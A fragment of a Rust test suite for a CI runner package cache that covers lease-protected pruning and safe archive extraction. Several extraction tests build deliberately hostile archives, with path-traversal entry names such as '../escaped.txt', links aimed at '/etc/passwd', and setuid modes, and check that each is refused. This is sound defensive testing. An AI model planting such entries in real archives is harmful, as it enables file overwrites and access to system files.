4245 cache.entry(&held).unwrap().is_none(),
4246 "state `{state}` should have pruned the entry"
4247 );
4248 assert!(
4249 cache.holders(&held).unwrap().is_empty(),
4250 "a spent lease is released with the entry"
4251 );
4252 }
4253 }
4254
4255 #[tokio::test]
4256 async fn pruning_refuses_a_version_held_by_an_attempt_the_caller_did_not_report() {
4257 let (harness, _, _) = linux_fixture();
4262 let cache = cache_with_one_entry(&harness).await;
4263 let held = version("2.330.0");
4264 let attempt = attempt_in(&harness, 0x100, AttemptState::Starting);
4265 cache.lease(&attempt, &held).expect("a lease");
4266
4267 let error = cache.prune(&held, &[]).unwrap_err();
4268
4269 assert!(
4270 matches!(error, PackageError::VersionHeldByUnknownAttempt { .. }),
4271 "expected a fail-closed refusal, got {error:?}"
4272 );
4273 assert!(cache.entry(&held).unwrap().is_some());
4274 assert!(
4275 error
4276 .operator_action()
4277 .unwrap()
4278 .contains("release the lease"),
4279 "the refusal must name the way out, got `{}`",
4280 error.operator_action().unwrap()
4281 );
4282
4283 cache.release(attempt.id).expect("release");
4285 cache.prune(&held, &[]).expect("a released version prunes");
4286 assert!(cache.entry(&held).unwrap().is_none());
4287 }
4288
4289 #[tokio::test]
4290 async fn a_corrupt_lease_refuses_a_prune_rather_than_vanishing() {
4291 let (harness, _, _) = linux_fixture();
4297 let cache = cache_with_one_entry(&harness).await;
4298 let held = version("2.330.0");
4299 let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4300 cache.lease(&live, &held).expect("a lease");
4301
4302 let lease_file = cache.lease_path(live.id);
4304 assert!(lease_file.is_file(), "the lease must exist to be corrupted");
4305 fs::write(&lease_file, b"{\"version\":\"2.33").expect("corrupt the lease");
4306
4307 let error = cache.prune(&held, &[]).unwrap_err();
4308
4309 assert!(
4310 matches!(error, PackageError::UnreadableLease { .. }),
4311 "expected a refusal naming the unreadable lease, got {error:?}"
4312 );
4313 assert!(error.is_terminal());
4314 assert!(error.operator_action().is_some());
4315 assert!(
4316 cache.entry(&held).unwrap().is_some(),
4317 "the package a live runner may be executing from must still be there"
4318 );
4319 assert!(cache.holders(&held).is_err());
4321
4322 fs::remove_file(&lease_file).unwrap();
4324 cache
4325 .prune(&held, &[])
4326 .expect("a resolved lease lets it proceed");
4327 }
4328
4329 #[test]
4330 fn a_lease_released_while_holders_is_listing_is_not_reported_as_corrupt() {
4331 let dir = tempfile::tempdir().expect("a temporary root");
4336 let held = version("2.330.0");
4337 let id = AttemptId::from_u128(0x100);
4338
4339 let missing = dir.path().join(format!("{id}.{LEASE_EXTENSION}"));
4341 assert!(!missing.exists());
4342 assert_eq!(
4343 holder_of(&missing, &held).expect("a released lease is not an error"),
4344 None
4345 );
4346
4347 fs::write(&missing, br#"{"version":"2.330.0"}"#).unwrap();
4349 assert_eq!(holder_of(&missing, &held).unwrap(), Some(id));
4350 assert_eq!(holder_of(&missing, &version("2.340.0")).unwrap(), None);
4351
4352 fs::write(&missing, b"{\"version\":\"2.33").unwrap();
4354 assert!(matches!(
4355 holder_of(&missing, &held),
4356 Err(PackageError::UnreadableLease { .. })
4357 ));
4358
4359 let anonymous = dir.path().join(format!("not-a-uuid.{LEASE_EXTENSION}"));
4361 fs::write(&anonymous, br#"{"version":"2.330.0"}"#).unwrap();
4362 assert!(matches!(
4363 holder_of(&anonymous, &held),
4364 Err(PackageError::UnreadableLease { .. })
4365 ));
4366 }
4367
4368 #[tokio::test]
4369 async fn a_lease_file_that_is_not_named_after_an_attempt_refuses_a_prune() {
4370 let (harness, _, _) = linux_fixture();
4371 let cache = cache_with_one_entry(&harness).await;
4372 let held = version("2.330.0");
4373 let strays = cache.root().join(LEASES_DIR);
4374 fs::create_dir_all(&strays).unwrap();
4375 let stray = strays.join(format!("not-a-uuid.{LEASE_EXTENSION}"));
4376 fs::write(&stray, b"{\"version\":\"2.330.0\"}").unwrap();
4377
4378 let error = cache.prune(&held, &[]).unwrap_err();
4379
4380 assert!(
4381 matches!(error, PackageError::UnreadableLease { .. }),
4382 "a lease whose holder cannot be identified must refuse, got {error:?}"
4383 );
4384 assert!(cache.entry(&held).unwrap().is_some());
4385 }
4386
4387 #[tokio::test]
4388 async fn an_unreferenced_version_prunes_with_no_ceremony() {
4389 let (harness, _, _) = linux_fixture();
4390 let cache = cache_with_one_entry(&harness).await;
4391 let held = version("2.330.0");
4392
4393 cache.prune(&held, &[]).expect("nothing references it");
4394
4395 assert!(cache.entry(&held).unwrap().is_none());
4396 assert!(cache.installed().unwrap().is_empty());
4397 }
4398
4399 #[tokio::test]
4400 async fn one_attempts_lease_does_not_pin_another_version() {
4401 let (harness, _, _) = linux_fixture();
4402 let cache = cache_with_one_entry(&harness).await;
4403
4404 let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
4406 harness.catalog.publish(vec![published(
4407 "linux",
4408 "x64",
4409 "2.340.0",
4410 ".tar.gz",
4411 Some(&hex_digest(&newer)),
4412 )]);
4413 harness.fetcher.serve(newer);
4414 harness
4415 .clock
4416 .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
4417 cache.ensure_installed().await.expect("the newer install");
4418 assert_eq!(cache.installed().unwrap().len(), 2);
4419
4420 let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4421 cache.lease(&live, &version("2.340.0")).expect("a lease");
4422
4423 assert!(
4425 cache
4426 .prune(&version("2.340.0"), std::slice::from_ref(&live))
4427 .is_err()
4428 );
4429 cache
4430 .prune(&version("2.330.0"), &[live])
4431 .expect("the unheld version prunes");
4432 assert_eq!(cache.installed().unwrap().len(), 1);
4433 }
4434
4435 #[tokio::test]
4436 async fn a_lease_outlives_the_cache_object_that_took_it() {
4437 let (harness, _, _) = linux_fixture();
4440 let held = version("2.330.0");
4441 let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4442 {
4443 let cache = cache_with_one_entry(&harness).await;
4444 cache.lease(&live, &held).expect("a lease");
4445 }
4446
4447 let reopened = harness.cache();
4448 assert_eq!(reopened.holders(&held).unwrap(), vec![live.id]);
4449 assert!(reopened.prune(&held, &[live]).is_err());
4450 }
4451
4452 #[tokio::test]
4453 async fn releasing_a_lease_that_was_never_taken_is_not_an_error() {
4454 let (harness, _, _) = linux_fixture();
4455 let cache = cache_with_one_entry(&harness).await;
4456 cache
4457 .release(AttemptId::from_u128(0xdead))
4458 .expect("a cleanup path may release unconditionally");
4459 }
4460
4461 #[tokio::test]
4462 async fn leasing_a_version_that_is_not_installed_is_refused() {
4463 let (harness, _, _) = linux_fixture();
4464 let cache = cache_with_one_entry(&harness).await;
4465 let attempt = attempt_in(&harness, 0x100, AttemptState::Busy);
4466
4467 let error = cache.lease(&attempt, &version("9.9.9")).unwrap_err();
4468
4469 assert!(matches!(error, PackageError::NotInstalled { .. }));
4470 }
4471
4472 #[tokio::test]
4477 async fn a_lease_refuses_a_workspace_inside_the_cache_and_accepts_one_outside_it() {
4478 let (harness, _, _) = linux_fixture();
4487 let cache = cache_with_one_entry(&harness).await;
4488 let held = version("2.330.0");
4489
4490 for inside in [
4493 cache.root().join("2.330.0").join("_work"),
4494 cache.root().join("workspaces").join("attempt-1"),
4495 cache.root().to_path_buf(),
4496 ] {
4497 let attempt = fixtures::attempt()
4498 .id(AttemptId::from_u128(0x100))
4499 .state(AttemptState::Busy)
4500 .runtime_path(inside.to_string_lossy().to_string())
4501 .build();
4502
4503 let error = cache.lease(&attempt, &held).unwrap_err();
4504
4505 assert!(
4506 matches!(error, PackageError::WorkspaceInsideCache { .. }),
4507 "`{}` is inside the cache and must be refused, got {error:?}",
4508 inside.display()
4509 );
4510 assert!(
4511 cache.holders(&held).unwrap().is_empty(),
4512 "a refused lease must not have been written"
4513 );
4514 }
4515
4516 let proper = attempt_in(&harness, 0x100, AttemptState::Busy);
4518 cache
4519 .lease(&proper, &held)
4520 .expect("a runtime under the runtime directory is where it belongs");
4521 assert_eq!(cache.holders(&held).unwrap(), vec![proper.id]);
4522 }
4523
4524 #[test]
4525 fn the_runtime_directory_and_the_package_cache_are_disjoint_roots() {
4526 let dir = tempfile::tempdir().expect("a temporary root");
4530 let paths = AppPaths::rooted_at(dir.path());
4531 let cache_root = paths.state_dir().join(PACKAGES_DIR);
4532 let workspaces = paths.runtime_dir();
4533
4534 assert!(
4535 !is_inside(&cache_root, workspaces),
4536 "job workspaces must not live inside the package cache"
4537 );
4538 assert!(
4539 !is_inside(workspaces, &cache_root),
4540 "the package cache must not live inside the workspace root"
4541 );
4542 let attempt_workspace = workspaces
4544 .join(fixtures::POLICY_ID.to_string())
4545 .join(fixtures::ATTEMPT_ID.to_string());
4546 assert!(!is_inside(&cache_root, &attempt_workspace));
4547 }
4548
4549 #[tokio::test]
4550 async fn installing_writes_nothing_under_the_runtime_directory() {
4551 let (harness, _, _) = linux_fixture();
4552 let cache = cache_with_one_entry(&harness).await;
4553
4554 assert!(
4555 all_paths(harness.paths.runtime_dir()).is_empty(),
4556 "the package cache must not create job workspaces: {:?}",
4557 all_paths(harness.paths.runtime_dir())
4558 );
4559 let written = all_paths(cache.root());
4561 assert!(
4562 written.iter().any(|path| path.starts_with("2.330.0")),
4563 "the entry should be there: {written:?}"
4564 );
4565 }
4566
4567 #[test]
4568 fn the_tool_cache_is_retained_beside_the_binaries_not_inside_an_entry() {
4569 let dir = tempfile::tempdir().expect("a temporary root");
4573 let paths = AppPaths::rooted_at(dir.path());
4574 let cache = PackageCache::new(
4575 &paths,
4576 Os::Linux,
4577 Arch::X64,
4578 CachePorts {
4579 catalog: FakeCatalog::with(Vec::new()),
4580 fetcher: FakeFetcher::with(Vec::new()),
4581 backoff: Arc::new(NoBackoff),
4582 clock: Arc::new(FakeClock::default()),
4583 },
4584 );
4585
4586 assert!(
4587 !is_inside(cache.root(), cache.tool_cache_dir()),
4588 "a written-to tool cache must not sit inside the immutable entries"
4589 );
4590 assert!(
4591 !is_inside(paths.runtime_dir(), cache.tool_cache_dir()),
4592 "the tool cache is retained, not disposable with a workspace"
4593 );
4594 assert!(is_inside(paths.state_dir(), cache.tool_cache_dir()));
4595 }
4596
4597 #[tokio::test]
4602 async fn both_published_archive_formats_extract_on_every_platform() {
4603 for (extension, bytes) in [
4604 (".zip", zip_bytes(&package_entries())),
4605 (".tar.gz", tar_gz_bytes(&package_entries())),
4606 ] {
4607 let digest = hex_digest(&bytes);
4608 let harness = Harness::new(
4609 vec![published(
4610 "linux",
4611 "x64",
4612 "2.330.0",
4613 extension,
4614 Some(&digest),
4615 )],
4616 bytes,
4617 );
4618
4619 let installed = harness
4620 .cache()
4621 .ensure_installed()
4622 .await
4623 .unwrap_or_else(|error| panic!("{extension} should extract: {error}"));
4624
4625 assert_eq!(
4626 fs::read_to_string(installed.root().join("run.sh")).unwrap(),
4627 "#!/bin/sh\necho runner\n"
4628 );
4629 assert_eq!(
4630 fs::read_to_string(installed.root().join("bin/Runner.Listener")).unwrap(),
4631 "listener\n"
4632 );
4633 }
4634 }
4635
4636 #[test]
4637 fn an_archive_entry_that_escapes_is_refused_and_writes_nothing_outside_the_target() {
4638 let dir = tempfile::tempdir().expect("a temporary root");
4675 let target = dir.path().join("target");
4676 let outside = dir.path().join("escaped.txt");
4677
4678 let good = dir.path().join("good.archive");
4681 fs::write(&good, tar_gz_bytes(&package_entries())).unwrap();
4682 extract(&good, ArchiveKind::TarGz, &target).expect("a legitimate archive extracts");
4683 assert!(target.join("run.sh").is_file());
4684 fs::remove_dir_all(&target).unwrap();
4685
4686 for (label, bytes, kind) in [
4687 (
4688 "tar.gz",
4689 tar_gz_with_raw_name("../escaped.txt", "owned"),
4690 ArchiveKind::TarGz,
4691 ),
4692 (
4693 "tar.gz absolute",
4694 tar_gz_with_raw_name("/tmp/escaped.txt", "owned"),
4695 ArchiveKind::TarGz,
4696 ),
4697 (
4698 "zip",
4699 zip_bytes(&[("../escaped.txt", "owned")]),
4700 ArchiveKind::Zip,
4701 ),
4702 ] {
4703 let archive = dir.path().join(format!("{label}.archive"));
4704 fs::write(&archive, &bytes).unwrap();
4705 let _ = fs::remove_dir_all(&target);
4706
4707 let result = extract(&archive, kind, &target);
4708
4709 assert!(
4710 !outside.exists(),
4711 "{label}: an entry escaped the extraction directory"
4712 );
4713 let error = result.expect_err(&format!("{label}: the escape must be refused"));
4714 assert!(
4715 matches!(error, PackageError::UnsafeArchiveEntry { .. }),
4716 "{label}: expected an unsafe-entry refusal, got {error:?}"
4717 );
4718 assert!(error.is_terminal());
4719 assert_eq!(
4720 error.failure_reason(),
4721 Some(FailureReason::RunnerPackageUnverified)
4722 );
4723 }
4724 }
4725
4726 #[test]
4727 fn the_mode_policy_drops_every_bit_that_is_not_an_executable_bit() {
4728 for (published, expected, what) in [
4733 (0o4755, 0o700, "setuid is dropped"),
4734 (0o2755, 0o700, "setgid is dropped"),
4735 (0o1777, 0o700, "the sticky bit is dropped"),
4736 (
4737 0o7777,
4738 0o700,
4739 "all three, plus group and other, are dropped",
4740 ),
4741 (0o777, 0o700, "group and other lose everything"),
4742 (0o666, 0o600, "a non-executable file stays non-executable"),
4743 (0o644, 0o600, "the ordinary case"),
4744 (0o755, 0o700, "an executable stays executable"),
4745 (0o000, 0o600, "the owner can always read it back"),
4746 ] {
4747 assert_eq!(
4748 policy_mode(published),
4749 expected,
4750 "{what}: policy_mode({published:o}) should be {expected:o}"
4751 );
4752 }
4753 for published in 0..=0o7777_u32 {
4755 let applied = policy_mode(published);
4756 assert_eq!(applied & 0o7000, 0, "no setuid, setgid or sticky ever");
4757 assert_eq!(applied & 0o077, 0, "nothing for group or other ever");
4758 assert_eq!(
4759 applied & 0o100 != 0,
4760 published & 0o111 != 0,
4761 "executability is the only thing carried through, and only for \
4762 the owner (published {published:o} -> {applied:o})"
4763 );
4764 }
4765 }
4766
4767 #[cfg(unix)]
4770 #[test]
4771 fn a_published_archives_setuid_and_group_bits_are_never_applied_to_an_extracted_file() {
4772 use std::os::unix::fs::PermissionsExt as _;
4773
4774 let dir = tempfile::tempdir().expect("a temporary root");
4775 let bytes = tar_gz_special(
4778 "run.sh",
4779 "#!/bin/sh\n",
4780 0o7777,
4781 tar::EntryType::Regular,
4782 None,
4783 );
4784 let (mode, kind, _) = first_entry_header(&bytes);
4787 assert_eq!(mode, 0o7777, "the fixture must carry the full mode");
4788 assert_eq!(kind, tar::EntryType::Regular);
4789
4790 let archive = dir.path().join("p.archive");
4791 fs::write(&archive, &bytes).unwrap();
4792 let target = dir.path().join("target");
4793 extract(&archive, ArchiveKind::TarGz, &target).expect("extraction");
4794
4795 let applied = fs::metadata(target.join("run.sh"))
4796 .unwrap()
4797 .permissions()
4798 .mode()
4799 & 0o7777;
4800 assert_eq!(
4801 applied & 0o4000,
4802 0,
4803 "setuid must never survive extraction (mode {applied:o})"
4804 );
4805 assert_eq!(
4806 applied & 0o2000,
4807 0,
4808 "setgid must never survive extraction (mode {applied:o})"
4809 );
4810 assert_eq!(
4811 applied & 0o022,
4812 0,
4813 "group and world write must never survive (mode {applied:o})"
4814 );
4815 assert_eq!(
4818 applied, 0o700,
4819 "the tar path must apply the same mode policy as the zip path"
4820 );
4821 }
4822
4823 #[cfg(unix)]
4824 #[test]
4825 fn an_extracted_directorys_mode_is_owner_only_and_still_usable() {
4826 use std::os::unix::fs::PermissionsExt as _;
4827
4828 let dir = tempfile::tempdir().expect("a temporary root");
4829 let bytes = tar_gz_special("bin/", "", 0o2777, tar::EntryType::Directory, None);
4830 let archive = dir.path().join("p.archive");
4831 fs::write(&archive, &bytes).unwrap();
4832 let target = dir.path().join("target");
4833
4834 extract(&archive, ArchiveKind::TarGz, &target).expect("extraction");
4835
4836 let applied = fs::metadata(target.join("bin"))
4837 .unwrap()
4838 .permissions()
4839 .mode()
4840 & 0o7777;
4841 assert_eq!(
4842 applied & 0o2000,
4843 0,
4844 "setgid must not survive on a directory"
4845 );
4846 assert_eq!(applied & 0o077, 0, "group and other get nothing");
4847 assert!(
4848 applied & 0o300 == 0o300,
4849 "the owner must still be able to write and traverse it (mode {applied:o})"
4850 );
4851 }
4852
4853 #[test]
4854 fn a_link_whose_target_escapes_the_package_is_refused() {
4855 let dir = tempfile::tempdir().expect("a temporary root");
4859 for (label, bytes) in [
4860 (
4861 "symlink to an absolute path",
4862 tar_gz_special(
4863 "link",
4864 "",
4865 0o777,
4866 tar::EntryType::Symlink,
4867 Some("/etc/passwd"),
4868 ),
4869 ),
4870 (
4871 "symlink climbing out",
4872 tar_gz_special(
4873 "link",
4874 "",
4875 0o777,
4876 tar::EntryType::Symlink,
4877 Some("../../escape"),
4878 ),
4879 ),
4880 (
4881 "symlink climbing out from a subdirectory",
4882 tar_gz_special(
4883 "bin/link",
4884 "",
4885 0o777,
4886 tar::EntryType::Symlink,
4887 Some("../../escape"),
4888 ),
4889 ),
4890 (
4891 "hard link",
4892 tar_gz_special("link", "", 0o644, tar::EntryType::Link, Some("/etc/passwd")),
4893 ),
4894 ] {
4895 let (_, kind, link) = first_entry_header(&bytes);
4897 assert!(
4898 matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link),
4899 "{label}: the fixture must be a link entry"
4900 );
4901 assert!(link.is_some(), "{label}: the fixture must carry a target");
4902
4903 let archive = dir.path().join(format!("{label}.archive"));
4904 fs::write(&archive, &bytes).unwrap();
4905 let target = dir.path().join(label);
4906
4907 let error = extract(&archive, ArchiveKind::TarGz, &target)
4908 .expect_err(&format!("{label} must be refused"));
4909
4910 assert!(
4911 matches!(error, PackageError::UnsafeArchiveEntry { .. }),
4912 "{label}: expected an unsafe-entry refusal, got {error:?}"
4913 );
4914 assert!(error.is_terminal());
4915 assert_eq!(
4916 error.failure_reason(),
4917 Some(FailureReason::RunnerPackageUnverified)
4918 );
4919 assert!(
4920 !target.join("link").exists(),
4921 "{label}: nothing may have been created"
4922 );
4923 }
4924 }
4925
4926 #[cfg(unix)]
4932 #[test]
4933 fn a_link_that_stays_inside_the_package_is_extracted() {
4934 let dir = tempfile::tempdir().expect("a temporary root");
4935 let bytes = tar_gz_special(
4936 "bin/current",
4937 "",
4938 0o777,
4939 tar::EntryType::Symlink,
4940 Some("../run.sh"),
4941 );
4942 let archive = dir.path().join("p.archive");
4943 fs::write(&archive, &bytes).unwrap();
4944 let target = dir.path().join("target");
4945
4946 extract(&archive, ArchiveKind::TarGz, &target)
4947 .expect("a link inside the package is legitimate");
4948
4949 assert!(
4950 fs::symlink_metadata(target.join("bin/current"))
4951 .unwrap()
4952 .is_symlink(),
4953 "the link should have been created"
4954 );
4955 }
4956
4957 #[test]
4958 fn an_entry_that_names_the_extraction_root_resolves_to_nothing() {
4959 let root = Path::new("/cache/staging/root");
4963 for names_the_root in [".", "./", "./."] {
4964 assert_eq!(
4965 entry_destination(root, Path::new(names_the_root), names_the_root).unwrap(),
4966 None,
4967 "`{names_the_root}` names the extraction root and must not resolve to it"
4968 );
4969 }
4970 assert_eq!(
4973 entry_destination(root, Path::new("bin/run.sh"), "bin/run.sh").unwrap(),
4974 Some(root.join("bin").join("run.sh"))
4975 );
4976 assert_eq!(
4977 entry_destination(root, Path::new("./bin/run.sh"), "./bin/run.sh").unwrap(),
4978 Some(root.join("bin").join("run.sh"))
4979 );
4980 assert!(entry_destination(root, Path::new("../x"), "../x").is_err());
4982 }
4983
4984 #[test]
4985 fn a_directory_always_gets_a_traversable_owner_only_mode() {
4986 for published in [Some(0o2777), Some(0o755), Some(0o644), Some(0o000), None] {
4990 assert_eq!(
4991 intended_mode(true, published),
4992 Some(0o700),
4993 "a directory published as {published:?} must end up traversable and owner-only"
4994 );
4995 }
4996 assert_eq!(intended_mode(false, Some(0o4755)), Some(0o700));
4998 assert_eq!(intended_mode(false, Some(0o644)), Some(0o600));
4999 assert_eq!(
5000 intended_mode(false, None),
5001 None,
5002 "a zip written on Windows publishes no mode, and there is nothing to apply"
5003 );
5004 }
5005
5006 #[cfg(unix)]
5007 #[test]
5008 fn a_zip_directory_entry_gets_the_same_mode_policy_as_a_tar_one() {
5009 use std::os::unix::fs::PermissionsExt as _;
5010
5011 let dir = tempfile::tempdir().expect("a temporary root");
5017 let bytes = zip_bytes_with_modes(&[
5018 ("bin/", "", Some(0o2777)),
5019 ("bin/run.sh", "#!/bin/sh\n", Some(0o4755)),
5020 ]);
5021 let archive = dir.path().join("p.archive");
5022 fs::write(&archive, &bytes).unwrap();
5023 let target = dir.path().join("target");
5024
5025 extract(&archive, ArchiveKind::Zip, &target).expect("extraction");
5026
5027 let dir_mode = fs::metadata(target.join("bin"))
5028 .unwrap()
5029 .permissions()
5030 .mode()
5031 & 0o7777;
5032 assert_eq!(
5033 dir_mode, 0o700,
5034 "a zip directory must get the owner-only policy (mode {dir_mode:o})"
5035 );
5036 let file_mode = fs::metadata(target.join("bin/run.sh"))
5037 .unwrap()
5038 .permissions()
5039 .mode()
5040 & 0o7777;
5041 assert_eq!(
5042 file_mode, 0o700,
5043 "a zip file must get the owner-only policy (mode {file_mode:o})"
5044 );
5045 }
5046
5047 #[cfg(unix)]
5048 #[test]
5049 fn a_directory_entry_with_no_executable_bit_is_still_traversable() {
5050 use std::os::unix::fs::PermissionsExt as _;
5051
5052 let dir = tempfile::tempdir().expect("a temporary root");
5056 for (label, bytes, kind) in [
5057 (
5058 "tar.gz",
5059 tar_gz_special("bin/", "", 0o644, tar::EntryType::Directory, None),
5060 ArchiveKind::TarGz,
5061 ),
5062 (
5063 "zip",
5064 zip_bytes_with_modes(&[("bin/", "", Some(0o644))]),
5065 ArchiveKind::Zip,
5066 ),
5067 ] {
5068 let archive = dir.path().join(format!("{label}.archive"));
5069 fs::write(&archive, &bytes).unwrap();
5070 let target = dir.path().join(label);
5071
5072 extract(&archive, kind, &target).expect("extraction");
5073
5074 let mode = fs::metadata(target.join("bin"))
5075 .unwrap()
5076 .permissions()
5077 .mode()
5078 & 0o7777;
5079 assert_eq!(
5080 mode, 0o700,
5081 "{label}: a directory must stay traversable (mode {mode:o})"
5082 );
5083 }
5084 }
5085
5086 #[test]
5087 fn an_entry_naming_the_extraction_root_cannot_touch_it() {
5088 let dir = tempfile::tempdir().expect("a temporary root");
5101 for (label, bytes, kind) in [
5102 (
5103 "tar.gz dot",
5104 tar_gz_special(".", "", 0o777, tar::EntryType::Directory, None),
5105 ArchiveKind::TarGz,
5106 ),
5107 (
5108 "tar.gz dot slash",
5109 tar_gz_special("./", "", 0o777, tar::EntryType::Directory, None),
5110 ArchiveKind::TarGz,
5111 ),
5112 (
5113 "zip dot",
5114 zip_bytes_with_modes(&[("./", "", Some(0o777))]),
5115 ArchiveKind::Zip,
5116 ),
5117 ] {
5118 let archive = dir.path().join(format!("{label}.archive"));
5119 fs::write(&archive, &bytes).unwrap();
5120 let target = dir.path().join(label);
5121 fs::create_dir_all(&target).unwrap();
5122 let marker = target.join("owned-by-this-module");
5123 fs::write(&marker, b"x").unwrap();
5124
5125 extract(&archive, kind, &target).unwrap_or_else(|error| {
5129 panic!("{label}: a root entry is skipped, not fatal: {error}")
5130 });
5131
5132 assert!(
5133 marker.is_file(),
5134 "{label}: the extraction root must be untouched"
5135 );
5136 #[cfg(unix)]
5137 {
5138 use std::os::unix::fs::PermissionsExt as _;
5139 let mode = fs::metadata(&target).unwrap().permissions().mode() & 0o7777;
5140 assert_ne!(
5141 mode, 0o777,
5142 "{label}: the archive must not have set the root's mode"
5143 );
5144 }
5145 }
5146 }
5147
5148 #[test]
5149 fn the_archive_format_comes_from_the_filename_not_from_the_host() {
5150 assert_eq!(
5151 ArchiveKind::split("actions-runner-win-x64-2.330.0.zip")
5152 .unwrap()
5153 .1,
5154 ArchiveKind::Zip
5155 );
5156 assert_eq!(
5157 ArchiveKind::split("actions-runner-linux-x64-2.330.0.tar.gz")
5158 .unwrap()
5159 .1,
5160 ArchiveKind::TarGz
5161 );
5162 assert_eq!(
5163 ArchiveKind::split("actions-runner-linux-x64-2.330.0.TAR.GZ")
5164 .unwrap()
5165 .1,
5166 ArchiveKind::TarGz
5167 );
5168 assert!(ArchiveKind::split("actions-runner-linux-x64-2.330.0.7z").is_err());
5169 }
5170
5171 #[tokio::test]
5172 async fn a_zip_is_extracted_on_a_host_whose_own_packages_are_tarballs() {
5173 let bytes = zip_bytes(&package_entries());
5176 let harness = Harness::new(
5177 vec![published(
5178 "linux",
5179 "x64",
5180 "2.330.0",
5181 ".zip",
5182 Some(&hex_digest(&bytes)),
5183 )],
5184 bytes,
5185 );
5186
5187 let installed = harness.cache().ensure_installed().await.expect("a zip");
5188
5189 assert!(installed.root().join("bin/Runner.Listener").is_file());
5190 }
5191}